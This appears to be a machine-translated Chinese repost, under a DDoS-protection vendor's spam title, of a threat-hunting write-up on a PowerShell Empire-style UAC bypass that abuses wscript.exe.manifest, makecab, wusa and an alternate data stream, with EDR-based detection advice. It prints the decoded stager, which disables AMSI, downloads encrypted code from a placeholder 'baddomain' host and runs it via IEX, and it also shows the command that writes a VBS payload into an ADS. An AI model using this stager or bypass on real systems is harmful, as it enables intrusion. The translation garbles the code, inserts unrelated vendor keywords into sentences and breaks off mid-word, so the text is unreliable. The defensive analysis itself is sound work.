来自 CC防护 2021-02-20 17:02 的文章

ddos防御_如何解决_CC高防公司

ddos防御_如何解决_CC高防公司

有一些非常酷的PowerShell框架,这意味着PowerShell做一些邪恶的事情是比较常见的。因此,当下面的警报被触发时,并不能立即看出这是正常的PowerShell编码。 然而,再深入一点,我发现行为模式与执行这个PowerShell帝国脚本时发生的情况几乎相同。现在事情变得更有意思了。攻击者在做什么实际上,该脚本使用WScript绕过计算机上的用户帐户控制(UAC)。需要注意的是,攻击者需要找到某种方法将此脚本放到有问题的机器上,以便利用该漏洞,但它仍然相当简洁。备用数据流(ADS)、WScript、VBScript、PowerShell和注入记事本可能会出错什么?这篇文章将介绍攻击者使用的几种常见方法,以及一种相对新颖的绕过UAC的方法,以便通过Wscript和一个写入ADS的文件提升命令以管理权限运行,并使用来自炭黑响应端点检测和响应(EDR)平台的数据进行说明。我做了一些测试来验证假设。一如既往,感谢那些发布代码的人。分析端点数据:时间轴回到我们的警戒状态,微软云防御ddos,我们感兴趣的第一个过程是命令行.exe发射父进程. 这一点也不奇怪,但只要您看到-noP和-enc标志的组合被传递到PowerShell,就有必要研究一下这个编码的命令在做什么。正如您所看到的,这是一个相当大的base64编码块,但同样,有时这是合法的。然而,一旦你解码了这个命令,你会立刻发现它不是合法的活动。这可能是某人对如何最好地混淆一个简单脚本(工作安全和所有)的扭曲想法,但更可能的是,这样的事情是有人在做一些阴暗的事情。有些事情是立即奇怪的,包括不必要的情况转换。Windows不关心大小写,所以它只考虑可读性,你可以很快发现像证书这样没有意义的东西。`[参考]。程序集.GEtTYPE('系统管理自动化.AmsiUtils')|?{$\}|%{$\.GETFiElD('amsiInitFailed','NonPublic,Static').SETVALue($NULL,$TrUe)}[System.NET.SERvIcEPointManAGEr]:EXpECT100CoNTinue=0;$WC=新对象SYsteM.NET.WeBCLiEnT;$u='Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)像壁虎一样[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$WC.HeAderS.Add('User-Agent',$u)$Wc代理=[SYSTEM.NET.WeBREqUEsT]·DeFAUlTWebPROXy$WC.PROXy.CReDENtiALs公司= [SYSTEM.Net.CRedENtiALCaCHE]:DefauLtNETWoRkCREdEnTiAls;$K=[SySteM.TeXt.编码]::ASCII.GEtBYTES('q#/ipT0Lj9;}6=?%-(k{>Yzz]GZ2nI5 ^);$R={$D,$k=$ArGS;$S S=0..255;0..255%%{$J=($J++$S[$[金元]+$k[$[金$k$k.计数])%256%256;$S[$[金],$S[$J]=$S[$J],$S S[$[金金金],$S[$[金金]};$D D$$I{I=($I+1+1)%256;$H=($H$S[$I$I])%256;$S[$I])%256;$S[$S[$I],$S S S S[$H]=$S[$H],$S[$I];$uxor$S[($S[$I]+$S[$H])%256]}$Wc.HEADERS.ADd("Cookie","session=BvvAAAAAAA/wYHNqEIs=");$ser='https://baddomain。:443';$t='/登录/进程.php';$数据=$WC.下载数据($sEr+$t);$iv=$DatA[0..3];$DatA=$DatA[4$数据长度];-joiN[Char[]](&$R$DAtA($IV+$K))| IEX`即使没有完全消除这种影响,您也可以看到有很多对网络功能的引用,例如New Object系统.Net.Webclient,用户代理字符串,以及进程将连接到的域。正在将完整的命令传递给Invoke Expression,它是一个PowerShell Commandlet,将执行传递的脚本。虽然它有点模糊,但计算机会处理它,就像它没有一堆随机变量和无序命令一样。这让我们想到可疑的第二件事:PowerShell建立了一个外部网络连接。除了与一些微软附属的域的连接之外,这在大多数环境中都是不常见的,需要仔细观察。这里还有一个有趣的文件:wscript.exe.manifest.这就是仅仅拥有EDR数据可能是一个死胡同。文件没有执行,只是被写入,我们不知道文件包含什么。不过,让我们看看我们认为负责查看相应端点构件是否对齐的脚本。你并不总是能够做到这一点,因为不是每一次攻击都会镜像一个公开的源代码,ddos攻击防御算法,但在这种情况下,数据如何支持这就是所使用的脚本的理论,这是非常巧妙的。一种可能的检测方法是wscript.exe.manifest正在写入用户的临时目录。是的,这是非常具体的,但它也不常见-任何事件的频率可以是一个伟大的背景点。我也会快速搜索看看wscript.exe.manifest通常在任何地方使用;如果不是,那么我会查找它被编写或修改的实例。在我们认为攻击者使用的脚本中,我们可以看到$WScriptManifest将包含一个xml值,ddos防御服务器,请求的执行级别为"RequireAdministrator"。这将写入环境变量Temp中包含的路径。如您所见,centosddos防御,这与我们从上述炭黑响应数据中预期的路径相匹配。所以,我假设我们在警报中看到的内容类似。此文件的目的似乎是确保WScript以管理员身份运行。脚本Invoke CopyFile的下一个部分是它变得更加有趣的地方。它需要两个输入,然后使用makecab和wusa来执行某些操作。但是,首先有一个gettempfilename的调用,它确实做到了:获取一个随机的临时文件名。这将确保脚本不会两次删除同名文件,这会使用基于文件名的指示符抛出。更酷的是,这一切都是使用内置的PowerShell特性实现的。返回调用CopyFile:它被调用了两次。我并不是说要解释makecab和wusa的内部工作原理,但是在这个例子中,除了他们的意图之外,他们的行为似乎和预期的一样。有趣的是,当我在我的windows10机器/EXTRACT上测试时,它似乎不是一个有效的wusa选项。根据一些研究,微软可能已经删除了这个,以减轻这个确切的UAC漏洞。不过,它仍然可以在Windows7系统上运行。现在,回到我们的端点数据,看看它是否与脚本中的数据匹配。看一下数据,似乎是这样的:wusa正在用户的temp目录中创建一个随机命名的文件,如脚本中Invoke CopyFile函数所示。那么wusa.exe文件将该文件提取到C:\Windows中,但将其重命名为清单.exe.还记得Invoke CopyFile是如何被调用两次的吗?第二次使用makecab创建wscript.exe从system32。然后将这个文件写入C:\Windows。从检测的角度来看,这种写入非常重要,因为从非标准位置复制和执行已签名的Microsoft可执行文件并不常见。寻找在非标准位置写入或执行的核心平台文件是一种有价值的检测技术。缩小列表范围并考虑不同版本和修补程序级别的更改需要一些工作,但它绝对提供了价值。写入C:\Windows该脚本通过删除文件来执行一些清理,然后调用Invoke wscript trigger–同样,我们在端点上看到的数据似乎证实了这是相同的行为。此函数的作用是生成一个名为$VBSPayload的变量,该变量将用于填充备用数据流(ADS)。正如johnmarlin所描述的那样,ADS是"可替代的数据流"。从功能上讲,cc防御华为,数据流是可能包含数据的文件的命名属性。每个文件至少有一个数据流,包含文件本身的内容。ADS是一种方式,通过它可以方便地存储额外类型的数据,通常是描述文件或其主要内容的数据。它以各种合法的方式使用。例如区域标识符浏览器使用广告来识别下载文件的血统。但是,就像大多数功能一样,它也可以用来作恶。在这种情况下,ADS可能被用来在一个良性文件旁边附加一个脚本或恶意的二进制有效负载。这一次,当您查看端点数据时,您可以很容易地看到这与脚本函数正在执行的操作相匹配。$payload是一个变量,它将包含脚本执行器指定的任何自定义攻击或操作。这是完整的命令,减去base64编码部分:"C:\Windows\system32\命令提示符"/C"回声暗奥贝:太暗了:一组SO=CreateObject("Scripting.FileSystemObject"):设置objShell=WScript.CreateObject("WScript.Shell"":command="powershell-noP-w 1-enc==":好吧,快跑指挥部,0:command="C:\Windows\System32\命令行.exe/c""开始/b""cmd/c""超时/t 5>nul和del c:\Windows\wscript.exe和delC: \窗口\wscript.exe.manifest""""":好吧,快跑命令,0:Set objShell=Nothing>"C:\Users\Owner"\应用数据:0lxgwl13xyp.vbs""0LXGWL1xxyp.vbsADS公司写入用户的appdata目录。防守队员能做什么?一个建议是观察包含冒号的文件修改,因为这是标准的ADS标记。使用诸如shell或Explorer之类的内置Windows实用程序很难识别包含广告的文件。Streams实用程序是这个任务的一个古老的工具,powershell的getitem commandlet也可以提供此信息。当然,如果您正在执行类似EDR的任何形式的数据收集,那么在文件名元数据中查找冒号标记是检测广告创建的最简单方法。PowerShell脚本实际上在一个函数中完成所有这些,然后我们可以通过Carbon Black响应看到在端点上生成的进程。在这里wscript.exe然后用来启动包含文件的广告。如您所见,它是C:\Windows\wscript.exe我们通常会看到C:\Windows\System32\wsc